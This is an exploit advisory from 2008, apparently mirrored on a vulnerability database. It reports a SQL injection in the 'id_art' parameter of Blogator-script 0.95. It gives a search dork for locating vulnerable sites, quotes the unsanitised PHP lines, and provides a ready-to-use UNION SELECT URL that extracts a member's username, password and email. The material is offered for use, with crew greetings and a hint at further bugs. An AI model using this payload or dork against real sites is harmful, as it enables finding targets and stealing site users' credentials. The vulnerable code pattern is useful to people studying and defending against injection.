Blogator-script 0.95 (id_art) Remote SQL Injection Vulnerability

🗓️ 05 Apr 2008 00:00:00Reported by RootType

Blogator-script 0.95 is vulnerable to remote SQL injection via the 'id_art' parameter.


                                                &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;########################################################################
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;...:::::Blogator-script&nbsp;0.95&nbsp;SQL&nbsp;Injection&nbsp;Vulnerbility&nbsp;::::....&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;########################################################################

Virangar&nbsp;Security&nbsp;Team

www.virangar.org
www.virangar.net

--------
Discoverd&nbsp;By&nbsp;:virangar&nbsp;security&nbsp;team(hadihadi)

special&nbsp;tnx&nbsp;to:MR.nosrati,black.shadowes,MR.hesy,Zahra

&amp;&nbsp;all&nbsp;virangar&nbsp;members&nbsp;&amp;&nbsp;all&nbsp;hackerz

greetz:to&nbsp;my&nbsp;best&nbsp;friend&nbsp;in&nbsp;the&nbsp;world&nbsp;hadi_aryaie2004
&amp;&nbsp;my&nbsp;lovely&nbsp;friend&nbsp;arash(imm02tal)&nbsp;from&nbsp;emperor&nbsp;team&nbsp;:)
-----------------------------------
dork:&nbsp;inurl:/_blogadata/
-----------------------------------
vuln&nbsp;code&nbsp;in&nbsp;/_blogadata/include/sond_result.php:
line&nbsp;27:&nbsp;$id_art=$_GET['id_art'];
......
line&nbsp;34:&nbsp;$sql_res=mysql_query(&quot;SELECT&nbsp;sond_rep,&nbsp;votes_H,&nbsp;votes_F&nbsp;FROM&nbsp;sondage_rep&nbsp;WHERE&nbsp;id_sond&nbsp;=&nbsp;$id_art&nbsp;ORDER&nbsp;BY&nbsp;ordre&quot;);
------------
vuln:
http://www.site.com/_blogadata/include/sond_result.php?id_art=-99999/**/union/**/select/**/concat(pseudo,0x3a,pass,char(58),email),2,3/**/from/**/membre/**/where/**/id_membre=1/*
--------------------------------
you&nbsp;can&nbsp;see&nbsp;in&nbsp;Blogator-script&nbsp;other&nbsp;injection&nbsp;bugs&nbsp;too&nbsp;;)

05 Apr 2008 00:00Current

7.1High risk

Vulners AI Score7.1

blogator script vulnerability remote sql injection virangar security team malicious code exploit dork